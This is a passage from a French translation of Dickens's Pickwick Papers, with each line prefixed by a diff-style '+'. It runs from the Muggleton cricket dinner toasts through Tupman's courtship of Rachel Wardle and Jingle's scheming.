+rappelons que Muggleton a donné naissance à un Dumkins, à un Podder,
+n'oublions jamais que Dingley-Dell peut se vanter d'avoir produit un
+Luffey et un Struggles! (Applaudissements tumultueux.) Qu'on ne me croie
+pas désireux d'obscurcir la gloire des gentlemen que j'ai nommés en
+premier lieu, monsieur, je leur envie les jouissances qu'ils ont dû
+ressentir dans cette mémorable journée. (Applaudissements.) Vous
+connaissez tous, messieurs, la réplique faite à l'empereur Alexandre par
+un individu qui, pour me servir d'une expression vulgaire, faisait sa
+tête dans un tonneau: _Si je n'étais pas Diogène, je voudrais être
+Alexandre_. Je m'imagine que ces messieurs doivent dire: Si je n'étais
+pas Dumkins, je voudrais être Luffey; si je n'étais pas Podder, je
+voudrais être Struggles! (Enthousiasme.) Mais, gentlemen de Muggleton,
+est-ce seulement à la crosse que vos compatriotes sont remarquables?
+N'avez-vous jamais entendu citer Dumkins comme un exemple de
+persévérance? N'avez-vous jamais appris à associer Podder et la
+propriété? (Grands applaudissements.) En luttant pour vos droits, pour
+votre liberté, pour vos privilèges, n'avez-vous jamais été réduits, ne
+fût-ce que pour un instant, au doute et au désespoir? et, quand vous
+étiez ainsi découragés, le nom de Dumkins n'a-t-il pas ranimé dans votre
+coeur le feu de l'espérance? Une seule parole de cet homme colossal ne
+l'a-t-elle pas fait briller avec plus d'éclat que s'il ne s'était jamais
+éteint? (Grands applaudissements.) Gentlemen, je vous prie d'entourer
+d'une riche auréole d'applaudissements frénétiques les noms unis de
+Dumkins et de Podder!»
+
+Ici le petit homme se tut, et la compagnie commença un tapage de cris,
+de coups frappés sur la table, qui dura, avec peu d'interruptions,
+pendant le reste de la soirée. D'autres toasts furent portés. M. Luffey
+et M. Struggles, M. Pickwick et M. Jingle, furent, chacun à son tour, le
+sujet d'éloges sans mélange; et chacun à son tour exprima ses
+remercîments pour cet honneur.
+
+Enthousiaste comme nous le sommes pour la noble entreprise à laquelle
+nous nous sommes dévoué, nous aurions éprouvé une inexprimable sensation
+d'orgueil, nous nous serions cru certain de l'immortalité dont nous
+sommes privé actuellement, si nous avions pu mettre sous les yeux de nos
+ardents lecteurs le plus faible compte rendu de ces discours. Comme à
+l'ordinaire, M. Snodgrass prit une grande quantité de notes, et sans
+doute nous y aurions puisé les renseignements les plus importants, si
+l'éloquence brûlante des orateurs ou l'influence fébrile du vin n'avait
+point fait trembler la main du gentleman, au point de rendre son
+écriture presque inintelligible et son style complétement obscur. A
+force de patience, nous sommes parvenu à reconnaître quelques caractères
+qui ont une faible ressemblance avec les noms des orateurs. Nous avons
+pu distinguer aussi le squelette d'une chanson (probablement chantée par
+M. Jingle), dans laquelle les mots _vin_ et _divin_, _rubis_ et _ravis_,
+sont répétés à de courts intervalles. Nous nous imaginons aussi pouvoir
+déchiffrer à la fin de ces notes quelques allusions à des restes de
+gigot ou de volaille braisée. Puis ensuite nous distinguons les mots de
+grog froid et d'ale; mais comme les hypothèses que nous pourrions bâtir
+sur ces indices n'auraient jamais d'autre fondement que nos conjectures,
+nous ne voulons nous permettre d'exprimer aucune des suppositions
+nombreuses qui se présentent à notre esprit.
+
+C'est pourquoi nous allons retourner à M. Tupman, nous contentant
+d'ajouter que, peu de minutes avant minuit, les sommités réunies de
+Dingley-Dell et de Muggleton furent entendues, chantant avec
+enthousiasme cet air si poétique et si national:
+
+    Nous ne rentrerons que demain matin,
+    Nous n'irons coucher qu'au jour!
+    Nous ne rentrerons que demain matin,
+    Nous n'irons coucher qu'au jour!
+    Demain matin au point du jour,
+    Nous n'irons coucher qu'au jour![10]
+
+[Footnote 10: Refrain d'une chanson bachique.]
+
+
+
+
+CHAPITRE VIII.
+
+Faisant voir clairement que la route du véritable amour n'est aussi unie
+qu'un chemin de fer.
+
+
+La tranquille solitude de Dingley-Dell, la présence de tant de personnes
+du beau sexe, la sollicitude et l'anxiété qu'elles témoignaient à M.
+Tupman, étaient autant de circonstances favorables à la germination et à
+la croissance des doux sentiments que la nature avait semés dans son
+sein, et qui paraissaient maintenant se concentrer sur un aimable objet.
+Les jeunes demoiselles étaient jolies, leurs manières engageantes, leur
+caractère aussi aimable que possible, mais à leur âge elles ne pouvaient
+prétendre à la dignité de la démarche, au _noli me tangere_ (ne me
+touchez pas) du maintien, à la majesté du regard, qui, aux yeux de M.
+Tupman, distinguaient la tante demoiselle de toutes les femmes qu'il
+avait jamais lorgnées. Il était évident que leurs âmes étaient parentes,
+qu'il y avait un je ne sais quoi sympathique dans leur nature, une
+mystérieuse ressemblance dans leurs sentiments. Son nom fut le premier
+qui s'échappa des lèvres de M. Tupman, lorsqu'il était étendu blessé sur
+la terre; le cri déchirant de miss Wardle fut le premier qui frappa
+l'oreille de M. Tupman, lorsqu'il fut rapporté à la maison. Mais cette
+agitation avait-elle été causée par une sensibilité aimable et féminine,
+qui se serait également manifestée pour tout autre; ou bien avait-elle
+été enfantée par un sentiment plus passionné, plus ardent, que lui seul,
+parmi tous les mortels, pouvait éveiller dans son coeur? Tels étaient les
+doutes qui tourmentaient l'esprit de M. Tupman, tandis qu'il gisait
+étendu sur le sofa; tels étaient les doutes qu'il se décida à résoudre
+sur-le-champ et pour toujours.
+
+Le soleil venait de terminer sa carrière: MM. Pickwick, Winkle et
+Snodgrass étaient allés avec leur joyeux hôte assister à la fête voisine
+de Muggleton; Isabella et Émily se promenaient avec M. Trundle; la
+vieille dame sourde s'était endormie dans sa bergère; le ronflement du
+gros joufflu arrivait, lent et monotone, de la cuisine lointaine. Les
+servantes réjouies, flânant sur le pas de la porte, jouissaient des
+charmes de la brune, et du plaisir de coqueter, d'une façon toute
+primitive, avec certains animaux lourds et gauches attachés à la ferme.
+Le couple intéressant était assis dans le salon, négligés de tout le
+monde, ne se souciant de personne, et rêvant seulement d'eux-mêmes. Ils
+ressemblaient, en un mot, à une paire de gants d'agneau, repliés l'un
+dans l'autre et soigneusement serrés.
+
+«J'ai oublié mes pauvres fleurs, murmura la tante demoiselle.
+
+--Arrosez-les maintenant, répliqua M. Tupman avec l'accent de la
+persuasion.
+
+--L'air du soir vous refroidirait peut-être, chuchota tendrement miss
+Rachel.
+
+--Non, non, s'écria M. Tupman en se levant, cela me fera du bien au
+contraire. Laissez-moi vous accompagner.»
+
+L'intéressante lady ajusta soigneusement l'écharpe qui soutenait le bras
+gauche du jouvenceau, et, prenant son bras droit, elle le conduisit dans
+le jardin.
+
+A l'une des extrémités, on voyait un berceau de chèvrefeuille, de jasmin
+et d'autres plantes odoriférantes; une de ces douces retraites que les
+propriétaires compatissants élèvent pour la satisfaction des araignées.
+
+La tante demoiselle y prit, dans un coin, un grand arrosoir de cuivre
+rouge, et se disposa à quitter le berceau. M. Tupman la retint et
+l'attira sur un siége à côté de lui.
+
+«Miss Wardle,» soupira-t-il.
+
+La tante demoiselle fut saisie d'un tremblement si fort que les
+cailloux, qui se trouvaient par hasard dans l'arrosoir, se heurtèrent
+contre les parois de zinc, et produisirent un bruit semblable à celui
+que ferait entendre le hochet d'un enfant.
+
+«Miss Wardle, répéta M. Tupman, vous êtes un ange.
+
+--Monsieur Tupman? s'écria Rachel en devenant aussi rouge que son
+arrosoir.
+
+--Oui, poursuivit l'éloquent pickwickien. Je le sais trop... pour mon
+malheur!
+
+--Toutes les dames sont des anges, à ce que disent les messieurs,
+rétorqua Rachel d'un ton enjoué.
+
+--Qu'est-ce donc que vous pouvez être alors; à quoi puis-je vous
+comparer? Où serait-il possible de rencontrer une femme qui vous
+ressemblât? Où pourrais-je trouver une aussi rare combinaison
+d'excellence et de beauté? Où pourrais-je aller chercher.... Oh!» Ici
+M. Tupman s'arrêta et serra la blanche main qui tenait l'anse de
+l'heureux arrosoir.
+
+La timide héroïne détourna un peu la tête. «Les hommes sont de si grands
+trompeurs, objecta-t-elle faiblement.
+
+--Oui, vous avez raison, exclama M. Tupman; mais ils ne le sont pas
+tous.... Il existe au moins un être qui ne changera jamais! Un être qui
+serait heureux de dévouer toute son existence à votre bonheur! Un être
+qui ne vit que dans vos yeux, qui ne respire que dans votre sourire! Un
+être qui ne supporte que pour vous seule le pesant fardeau de la vie!
+
+--Si l'on pouvait trouver un être semblable....
+
+--Mais il est trouvé! interrompit l'ardent Tupman. Il est trouvé! Il est
+ici, miss Wardle! Et avant que la dame pût deviner ses intentions, il se
+prosterna à ses pieds.
+
+--Monsieur Tupman, levez-vous! s'écria Rachel.
+
+--Jamais! répliqua-t-il bravement. Oh! Rachel! Il saisit sa main
+complaisante, qui laissa tomber l'arrosoir, et il la pressa sur ses
+lèvres. Oh! Rachel! dites que vous m'aimez!
+
+--Monsieur Tupman, murmura la ci-devant jeune personne en tournant la
+tête, j'ose à peine vous répondre.... mais.... vous ne m'êtes pas tout à
+fait indifférent.»
+
+Aussitôt que M. Tupman eut entendu ce doux aveu, il s'empressa de faire
+ce que lui inspirait son émotion enthousiaste, et ce que tout le monde
+fait dans les mêmes circonstances (à ce que nous croyons du moins, car
+nous sommes peu familiarisé avec ces sortes de choses), il se leva
+précipitamment, jeta ses bras autour du cou de la tendre demoiselle, et
+imprima sur ses lèvres de nombreux baisers. Après une résistance
+convenable, elle se soumit à les recevoir si passivement qu'on ne
+saurait dire combien M. Tupman lui en aurait donné, si elle n'avait pas
+tressailli tout d'un coup, sans aucune affectation, cette fois, et ne
+s'était pas écriée d'une voix effrayée: «Monsieur Tupman! on nous voit!
+Nous sommes perdus!»
+
+M. Tupman se retourna. Le gros joufflu était derrière lui, parfaitement
+immobile, braquant sur le berceau ses gros yeux circulaires, nais avec
+un visage si dénué d'expression, que le plus habile physionomiste
+n'aurait pu y découvrir de traces d'étonnement, de curiosité, ni
+d'aucune des passions connues qui agitent le coeur humain. M. Tupman
+regarda le gros joufflu, et le gros joufflu regarda M. Tupman; et plus
+M. Tupman étudiait la complète torpeur de sa physionomie, plus il
+demeurait convaincu que le somnolent jeune homme n'avait pas vu ou
+n'avait pas compris ce qui s'était passé. Dans cette persuasion il lui
+dit avec une grande fermeté: «Que venez-vous faire ici?
+
+--Le souper est prêt, monsieur, répliqua Joe sans hésiter.
+
+--Arrivez-vous à l'instant? lui demanda M. Tupman, en le transperçant du
+regard.
+
+--A l'instant,» répondit-il.
+
+M. Tupman le considéra de nouveau très-fixement, mais ses yeux ne
+clignèrent pas; il n'y avait pas un pli sur son visage.
+
+M. Tupman prit le bras de la tante demoiselle, et marcha avec elle vers
+la maison; le jeune homme les suivit par derrière.
+
+«Il ne sait rien de ce qui vient de se passer, dit tout bas l'heureux
+pickwickien.
+
+--Rien,» répliqua la dame.
+
+Un bruit se fit entendre derrière eux, semblable à un ricanement
+étouffé. M. Tupman se retourna vivement. Non... ce ne pouvait pas être
+le gros joufflu: on ne distinguait pas sur son visage le moindre rayon
+de gaieté; on n'y voyait que de la gloutonnerie.
+
+«Il dormait sans doute tout en marchant, chuchota M. Tupman.
+
+--Je n'en ai pas le moindre doute,» répartit la tante demoiselle; et
+alors ils se mirent à rire tous les deux.
+
+Ils se trompaient, cependant. Une fois en sa vie le léthargique jeune
+homme n'était pas endormi. Il était éveillé, bien éveillé, et il avait
+tout remarqué.
+
+Le souper se passa sans que personne fit aucun effort pour rendre la
+conversation générale. La vieille lady était allée se coucher; Isabella
+Wardle se dévouait exclusivement à M. Trundle; les attentions de sa
+tante étaient réservées pour M. Tupman, et les pensées d'Émily
+paraissaient occupées de quelque objet lointain; peut-être étaient-elles
+errantes autour de M. Snodgrass.
+
+Onze heures, minuit, une heure avaient sonné successivement, et les
+gentlemen n'étaient pas revenus de Muggleton. La consternation était
+peinte sur tous les visages. Avaient-ils été attaqués et volés?
+Fallait-il envoyer des hommes et des lanternes sur tous les chemins
+qu'ils avaient pu prendre? Fallait-il.... Écoutez.... Les voilà!--Qui
+peut les avoir tant attardés?--Une voix étrangère? à qui peut-elle
+appartenir? Tout le monde se précipita dans la cuisine où les truands
+étaient débarqués, et l'on reconnut au premier coup d'oeil le véritable
+état des choses.
+
+M. Pickwick, avec ses mains dans ses poches et son chapeau complétement
+enfoncé sur un oeil, était appuyé contre le buffet, et, balançant sa tête
+de droite à gauche, produisait une constante succession de sourires, les
+plus doux, les plus bienveillants du monde, mais sans aucune cause ou
+prétexte appréciable. Le vieux M. Wardle, dont le visage était
+prodigieusement enflammé, serrait les mains d'un visiteur étranger en
+bégayant des protestations d'amitié éternelle. M. Winkle, se soutenant à
+la boîte d'une horloge à poids, appelait, d'une voix faible, les
+vengeances du ciel sur tout membre de la famille qui lui conseillerait
+d'aller se coucher. Enfin M. Snodgrass s'était affaissé sur une chaise,
+et chaque trait de son visage expressif portait l'empreinte de la misère
+la plus abjecte et la plus profonde que se puisse figurer l'esprit
+humain.
+
+«Est-il arrivé quelque chose? demandèrent les trois dames.
+
+--Rien du tout, répondit M. Pickwick. Nous... sommes... tous... en bon
+état.... Dites donc.... Wardle.... nous sommes... tous... en bon
+état.... N'est-ce pas?
+
+--Un peu, répliqua le joyeux hôte. Mes chéries... voici mon ami, M.
+Jingle... l'ami de M. Pickwick.... M. Jingle... venu... pour une petite
+visite....
+
+--Monsieur, demanda Émily avec anxiété, est-il arrivé quelque chose à M.
+Snodgrass?
+
+--Rien du tout, madame, répliqua l'étranger. Dîner de Club,--joyeuse
+compagnie,--chansons admirables,--vieux porto,--vin de
+Bordeaux,--bon,--très-bon.--C'est le vin, madame, le vin.
+
+--Ce n'est pas le vin, bégaya M. Snodgrass d'un ton grave. C'est le
+saumon. (Remarquez qu'en pareille circonstance ce n'est jamais le vin.)
+
+--Ne feraient-ils pas mieux d'aller se coucher, madame? demanda Emma.
+Deux des gens pourraient porter ces messieurs dans leur chambre.
+
+--Je n'irai pas me coucher! s'écria M. Winkle avec fermeté.
+
+--Aucun homme vivant ne me portera! dit intrépidement M. Pickwick; et il
+continua de sourire comme auparavant.
+
+--Hourra! balbutia faiblement M. Winkle.
+
+--Hourra! répéta M. Pickwick, et prenant son chapeau il l'aplatit sur la
+terre, saisit ses lunettes et les fit voler à travers la cuisine; puis,
+ayant accompli cette heureuse plaisanterie, il recommença à rire comme
+un insensé.
+
+--Apportez-nous une... une autre... bouteille! cria M. Winkle en
+commençant sur un ton très-élevé et finissant sur un ton très-bas. Mais
+peu après sa tête tomba sur sa poitrine; il murmura encore son
+invincible détermination de ne pas s'aller coucher, bégaya un regret
+sanguinaire de n'avoir pas, dans la matinée, _fait l'affaire du vieux
+Tupman_, puis il s'endormit profondément. En cet état il fut transporté
+dans sa chambre par deux jeunes géants, sous la surveillance immédiate
+du gros joufflu. Bientôt après M. Snodgrass confia sa personne aux soins
+protecteurs du jeune somnambule. M. Pickwick accepta le bras de M.
+Tupman et disparut tranquillement, en souriant plus que jamais. M.
+Wardle fit ses adieux à toute sa famille d'une manière aussi tendre,
+aussi pathétique, que s'il l'avait quittée pour monter sur l'échafaud,
+accorda à M. Trundle l'honneur de lui faire gravir les escaliers, et
+s'éloigna en faisant d'inutiles efforts pour prendre un air digne et
+solennel.
+
+«Quelle scène choquante! s'écria la tante demoiselle.
+
+--Dégoûtante! répondirent les deux jeunes ladies.
+
+--Terrible! terrible! dit M. Jingle d'un air très-grave. (Il était en
+avance sur tous ses compagnons d'au moins une bouteille et demie.)
+Horrible spectacle! Très-horrible.
+
+--Quel aimable homme! dit tout bas la tante demoiselle à M. Tupman.
+
+--Et joli garçon par-dessus le marché, murmura Émily Wardle.
+
+--Oh! tout à fait, observa la tante demoiselle.»
+
+M. Tupman pensa à la petite veuve de Rochester, et son esprit fut
+troublé. La demi-heure de conversation qui suivit n'était pas de nature
+à le rassurer. Le nouveau visiteur parla beaucoup, et le nombre de ses
+anecdotes fut pourtant moins grand que celui de ses politesses. M.
+Tupman sentit que sa faveur décroissait à mesure que celle de M. Jingle
+devenait plus grande. Son rire était forcé, sa gaieté était feinte, et
+lorsqu'à la fin il posa sur son oreiller ses tempes brûlantes, il pensa,
+avec une horrible satisfaction, au plaisir qu'il aurait à tenir en ce
+moment la tête de M. Jingle entre son lit de plumes et son matelas.
+
+L'infatigable étranger se leva le lendemain de bonne heure, et tandis
+que ses compagnons demeuraient dans leur lit, accablés par les
+débauches de la nuit précédente, il s'employa avec succès à égayer le
+déjeuner. Ses efforts, à cet égard, furent tellement heureux que la
+vieille dame sourde se fit répéter, à travers son cornet, deux ou trois
+de ses meilleures plaisanteries, et poussa même la condescendance
+jusqu'à dire tout haut à la tante demoiselle que c'était un charmant
+mauvais sujet. Les autres membres présents de la famille partageaient
+complétement cette opinion.
+
+Dans les belles matinées d'été, la vieille dame avait l'habitude de se
+rendre sous le berceau où M. Tupman s'était si bien signalé. Les choses
+se passaient ainsi: d'abord le gros joufflu prenait sur un champignon,
+dans la chambre à coucher de la vieille lady, un chapeau ou plutôt un
+capuchon de satin noir, un châle de coton bien chaud, puis une solide
+canne, ornée d'une poignée commode. Ensuite, la vieille dame ayant mis
+posément le capuchon et le châle, s'appuyait d'une main sur la canne, de
+l'autre sur l'épaule de son page bouffi, et marchait lentement jusqu'au
+berceau, où Joe la laissait jouir de la fraîcheur de l'air pendant une
+demi-heure: après quoi il retournait la chercher et la ramenait à la
+maison.
+
+La vieille dame aimait la précision et la régularité, et, comme depuis
+trois étés successifs cette cérémonie s'était accomplie sans la plus
+légère infraction aux règles établies, elle ne fut pas légèrement
+surprise, dans la matinée en question, lorsqu'elle vit le gros joufflu,
+au lieu de quitter le berceau d'un pas lourd, en faire le tour avec
+précaution, regarder soigneusement de tous cotés, et se rapprocher
+d'elle sur la pointe du pied, avec l'air du plus profond mystère.
+
+La vieille dame était poltronne;--presque toutes les vieilles dames le
+sont;--sa première pensée fut que l'enflé personnage allait lui faire
+quelque atroce violence pour s'emparer de la menue monnaie qu'elle
+pouvait avoir sur elle. Elle aurait voulu crier au secours, mais l'âge
+et l'infirmité l'avaient depuis longtemps privée de la faculté de crier.
+Elle se contenta donc d'épier les mouvements de son page avec une
+terreur profonde, qui ne fut nullement diminuée lorsqu'il s'approcha
+tout près d'elle, et lui cria dans l'oreille d'une voix agitée, et qui
+lui parut menaçante: «Maîtresse!»
+
+Or il arriva par hasard que M. Jingle se promenait dans le jardin près
+du berceau, dans ce même moment. Lui aussi entendit crier «Maîtresse!»
+et il s'arrêta pour en entendre davantage. Il avait trois raisons pour
+agir ainsi. Premièrement, il était inoccupé et curieux; secondement, il
+n'avait aucune espèce de scrupule; troisièmement, il était caché par
+quelques buissons. Il s'arrêta donc, et écouta.
+
+«Maîtresse! cria le gros joufflu.
+
+--Eh bien, Joe! dit la vieille dame toute tremblante. Vous savez que
+j'ai toujours été une bien bonne maîtresse pour vous. Vous avez toujours
+été bien traité, Joe. Vous n'avez jamais eu grand'chose à faire, et vous
+avez toujours eu suffisamment à manger.»
+
+Cet habile discours ayant fait vibrer les cordes les plus intimes du
+gros garçon, il répondit avec expression: «Je sais ça.
+
+--Alors, pourquoi m'effrayer ainsi? Que voulez-vous me faire? continua
+la vieille dame en reprenant courage.
+
+--Je veux vous faire frissonner!»
+
+C'était là une cruelle manière de prouver sa gratitude, et, comme la
+vieille dame ne comprenait pas bien clairement comment ce résultat
+serait obtenu, elle sentit renaître toutes ses terreurs.
+
+«Savez-vous ce que j'ai vu dans ce berceau, hier au soir? demanda le
+gros joufflu.
+
+--Dieu nous bénisse! Quoi donc? s'écria la vieille lady, alarmée par
+l'air solennel du corpulent jeune homme.
+
+--Le gentleman au bras en écharpe qui embrassait....
+
+--Qui? Joe, qui? aucune des servantes, j'espère?
+
+--Pire que ça!» cria le jeune homme dans l'oreille de la vieille dame.
+
+--Aucune de mes petites-filles?
+
+--Pire que ça!
+
+--Pire que cela, Joe! s'écria la vieille dame, qui avait pensé que
+c'était là la plus grande des atrocités humaines. Qui était-ce, Joe? Je
+veux absolument le savoir.»
+
+Le délateur regarda soigneusement autour de lui, et, ayant terminé son
+inspection, cria dans l'oreille de la vieille lady:
+
+«Miss Rachel!
+
+--Quoi? dit-elle d'une voix aiguë. Parlez plus haut!
+
+--Miss Rachel! hurla le gros joufflu.
+
+--Ma fille!»
+
+Joe répondit par une succession de signes affirmatifs, qui imprimèrent à
+ses joues un mouvement ondulatoire semblable à celui d'un plat de
+blanc-manger.
+
+«Et elle l'a souffert! s'écria la vieille dame.
+
+--Elle l'a embrassé à son tour! Je l'ai vue!» répondu le gros joufflu
+en ricanant.
+
+Si M. Jingle, de sa cachette, avait pu voir l'expression du visage de la
+vieille dame, à cette communication, il est probable qu'un soudain éclat
+de rire aurait trahi sa présence auprès du berceau. Mais il recueillit
+seulement des fragments de phrases irritées, telles que:
+
+«Sans ma permission!... A son âge!... Misérable vieille que je suis!...
+Elle aurait pu attendre que je fusse morte!...»
+
+Puis, ensuite, il entendit les pas pesants du gros garçon qui
+s'éloignait et laissait la vieille lady toute seule.
+
+C'est un fait remarquable, peut-être, mais néanmoins c'est un fait, que
+M. Jingle, cinq minutes après son arrivée à Manoir-ferme, avait résolu,
+dans son for intérieur, d'assiéger sans délai le coeur de la tante
+demoiselle. Il était assez bon observateur pour avoir remarqué que ses
+manières dégagées ne déplaisaient nullement au bel objet de ses
+attaques, et il la soupçonnait fortement de posséder la plus désirable
+de toutes les perfections: une petite fortune indépendante. L'impérative
+nécessité de débusquer son rival d'une manière ou d'une autre s'offrit
+donc immédiatement à son esprit, et il résolut de prendre sans délai des
+mesures à cet égard. Fielding nous dit quo l'homme est de feu, que la
+femme est d'étoupe, et que le prince des ténèbres se plaît à les
+rapprocher. M. Jingle savait que les jeunes gens sont aux tantes
+demoiselles comme le gaz enflammé à la poudre fulminante, et il se
+détermina à essayer sur-le-champ l'effet d'une explosion.
+
+Tout en réfléchissant aux moyens d'exécuter cette importante résolution,
+il se glissa hors de sa cachette, et, protégé par les buissons
+susmentionnés, regagna la maison sans être aperçu. La fortune semblait
+déterminée à favoriser ses desseins. Il vit de loin M. Tupman et les
+autres gentlemen s'enfoncer dans le jardin; il savait que les jeunes
+demoiselles étaient sorties ensemble après le déjeuner: la côte était
+donc libre.
+
+La porte du salon se trouvant entr'ouverte, M. Jingle allongea la tête
+et regarda. La tante demoiselle était en train de tricoter. Il toussa,
+elle leva les yeux et sourit. Il n'existait aucune dose d'hésitation
+dans le caractère de M. Jingle; il posa mystérieusement son doigt sur sa
+bouche, entra dans la chambre et ferma la porte.
+
+«Miss Wardle, dit-il avec une chaleur affectée, pardonnez cette
+témérité... courte connaissance... pas de temps pour la cérémonie....
+Tout est découvert.
+
+--Monsieur! s'écria la tante demoiselle fort étonnée, et doutant presque
+que M. Jingle fût dans son bon sens.
+
+--Silence! dit M. Jingle d'une voix théâtrale. Gros enflé... face de
+poupard... les yeux ronds... canaille!...»
+
+Ici il secoua la tête d'une manière expressive, et la tante demoiselle
+devint toute tremblante d'agitation.
+
+«Je présume que vous voulez parler de Joseph, monsieur? dit-elle en
+faisant effort pour paraître calme.
+
+--Oui, madame. Damnation sur votre Joe!... Chien de traître que ce
+Joe!... A instruit la vieille dame... la vieille dame furieuse...
+enragée... délirante!... Berceau... Tupman... caresses... baisers et
+tout le reste.... Eh! madame, eh!
+
+--M. Jingle, s'écria la tante demoiselle, si vous êtes venu ici pour
+m'insulter....
+
+--Pas du tout; pas le moins du monde. Entendu l'histoire, venu pour vous
+avertir du danger, offrir mes services, prévenir les cancans. Tout est
+dit. Vous prenez cela pour une insulte... je quitte la place....»
+
+Et il tourna sur ses talons comme pour exécuter cette menace.
+
+«Que dois-je faire? s'écria la pauvre demoiselle, en fondant en larmes.
+Mon frère sera furieux!
+
+--Naturellement. Enragé!
+
+--Oh! monsieur Jingle, que puis-je faire?
+
+--Dites qu'il a rêvé, répliqua M. Jingle avec aplomb.»
+
+Un rayon de consolation éclaira l'esprit de la tante demoiselle à cette
+suggestion. M. Jingle s'en aperçut et poursuivit son avantage.
+
+«Bah! bah! rien de plus aisé: garçon mauvais sujet, femme aimable, gros
+garçon fustigé. Vous toujours crue; terminaison de l'affaire... tout
+s'arrange.»
+
+Soit que la probabilité d'échapper aux conséquences de cette
+malencontreuse découverte fût délicieuse pour les sentiments de la tante
+demoiselle, soit que l'âcreté de son chagrin fût adoucie en s'entendant
+appeler femme aimable, elle tourna vers M. Jingle son visage
+reconnaissant et couvert d'une légère rougeur.
+
+L'insinuant gentleman soupira profondément, attacha ses regards pendant
+quelques minutes sur la figure de la tante demoiselle, puis tressaillit
+mélodramatiquement, et détourna ses yeux avec précipitation.
+
+«Vous paraissez malheureux, monsieur Jingle, dit la dame d'une voix
+plaintive. Puis-je vous témoigner ma reconnaissance en vous demandant la
+cause de vos chagrins, afin de tâcher de les alléger?
+
+--Ah! s'écria M. Jingle avec un autre tressaillement, soulager! les
+alléger! quand votre amour s'est répandu sur un homme indigne d'une
+telle bénédiction! qui maintenant même a l'infâme dessein de captiver la
+nièce d'un ange.... Mais non! il est mon ami et je ne veux pas dévoiler
+ses vices. Miss Wardle, adieu!»
+
+En terminant ce discours, le plus suivi qu'on lui eût jamais entendu
+proférer, M. Jingle appliqua sur ses yeux le reste du mouchoir dont nous
+avons déjà parlé, et se dirigea vers la porte.
+
+«Arrêtez, monsieur Jingle, dit avec force la tante demoiselle. Vous avez
+fait une allusion à M. Tupman; expliquez-la.
+
+--Jamais! s'écria M. Jingle d'un air théâtral, jamais!»
+
+Et, pour montrer qu'il ne voulait pas être questionné davantage, il prit
+une chaise et s'assit tout auprès de la tante demoiselle.
+
+«M. Jingle, reprit-elle, je vous implore, je vous supplie de me révéler
+l'affreux mystère qui enveloppe M. Tupman.
+
+--Ah! repartit M. Jingle en fixant ses yeux sur le visage de la tante,
+puis-je voir... charmante créature... sacrifiée à l'autel? Avarice
+sordide!»
+
+Il parut lutter pendant quelques secondes contre des émotions de toute
+nature; puis il dit d'une voix basse et profonde:
+
+«Tupman n'aime que votre argent.
+
+--Le misérable!» s'écria la demoiselle avec une énergique indignation.
+
+Les doutes de M. Jingle étaient résolus: elle avait de l'argent.
+
+«Bien plus, ajouta-t-il, il en aime une autre....
+
+--Une autre! balbutia la tante. Et qui?
+
+--Petite jeune fille... les yeux noirs... nièce Émily.»
+
+Il y eut un silence; car s'il existait dans tout l'univers un individu
+femelle pour qui Rachel ressentit une jalousie mortelle, invétérée,
+c'était précisément cette nièce. Le rouge lui monta au visage et au col,
+et elle secoua silencieusement sa tête avec une expression d'ineffable
+dédain.
+
+A la fin, mordant sa lèvre mince et se redressant un peu, elle dit
+d'une voix aigrelette;
+
+«Cela ne se peut pas. Je ne veux pas le croire.
+
+--Épiez-les, répliqua M. Jingle.
+
+--Je le ferai.
+
+--Épiez les regards de Tupman.
+
+--Je le ferai.
+
+--Ses chuchotements.
+
+--Je le ferai!
+
+--Il ira s'asseoir auprès d'elle à dîner.
+
+--Nous verrons.
+
+--Il lui fera des compliments.
+
+--Nous verrons.
+
+--Et il vous plantera là.
+
+--Me planter là! cria-t-elle en tremblant de rage. Me planter là!
+
+--Avez-vous des yeux pour vous en convaincre? reprit M. Jingle.
+
+--Oui.
+
+--Montrerez-vous du caractère?
+
+--Oui.
+
+--L'écouterez-vous ensuite?
+
+--Jamais!
+
+--Prendrez-vous un autre amant?
+
+--Oui.
+
+--Ce sera moi?»
+
+Et M. Jingle tomba sur ses genoux et y resta pendant cinq minutes. Quand
+il se releva, il était l'amant accepté de la tante demoiselle,
+conditionnellement, toutefois, et pourvu que l'infidélité de M. Tupman
+fût rendue manifeste.
+
+M. Jingle devait en fournir des preuves, et elles arrivèrent dès le
+dîner. Miss Rachel pouvait à peine en croire ses yeux. M. Tracy Tupman
+était assis à côté d'Émily, lorgnant, souriant, parlant bas, en rivalité
+avec M. Snodgrass. Pas un mot, pas un regard, pas un signe n'étaient
+dirigés vers celle qui, le soir précédent, était l'orgueil de son coeur.
+
+«Damné garçon! pensa le vieux Wardle, qui avait appris de sa mère toute
+l'histoire; damné garçon! Il était endormi. C'est pure imagination!
+
+--Scélérat! pensait la tante demoiselle. Cher monsieur Jingle, vous ne
+me trompiez pas. Oh! que je déteste le misérable!»
+
+L'inexplicable changement que semblait annoncer la conduite de M.
+Tupman sera expliqué à nos lecteurs par la conversation suivante.
+
+C'était le soir du même jour, et la scène se passait dans le jardin.
+Deux personnages marchaient dans une allée écartée. L'un était assez
+gros et assez court, l'autre assez long et assez grêle. L'un était M.
+Tupman, l'autre, M. Jingle.
+
+Le gros personnage commença le dialogue en demandant:
+
+«M'en suis-je bien tiré?
+
+--Superbe! fameux! N'aurais pas mieux joué le rôle moi-même. Il faut
+recommencer demain, tous les jours, jusqu'à nouvel ordre.
+
+--Rachel le désire encore?
+
+--Cela ne l'amuse pas, naturellement; mais il le faut bien. Le frère est
+terrible; elle a peur. On ne peut faire autrement. Dans quelques jours,
+les soupçons détruits, les vieilles gens déroutés, elle couronnera votre
+bonheur.
+
+--Vous n'avez pas d'autre message?
+
+--L'amour, le plus tendre amour, les plus doux sentiments, une affection
+inaltérable. Puis-je dire quelque chose pour vous?
+
+--Mon cher, répondit l'innocent M. Tupman en serrant chaleureusement la
+main de son ami, portez-lui mes plus vives tendresses. Dites-lui combien
+j'ai de peine à dissimuler. Dites tout ce qu'on peut dire d'aimable;
+mais ajoutez que je reconnais la nécessité du rôle qu'elle m'a imposé ce
+matin par votre conseil. Dites que j'applaudis à sa sagesse et que
+j'admire sa discrétion.
+
+--Je le lui dirai. Est-ce tout?
+
+--Oui. Ajoutez seulement que je soupire ardemment après l'époque où elle
+m'appartiendra, où toute dissimulation deviendra inutile.
+
+--Certainement, certainement. Est-ce tout?
+
+--Oh! mon ami! dit le pauvre M. Tupman en pressant de nouveau la main de
+son compagnon, oh! mon ami, recevez mes remercîments les plus sincères
+pour votre bonté désintéressée, et pardonnez-moi si, même en
+imagination, je vous ai jamais fait l'injustice de supposer que vous
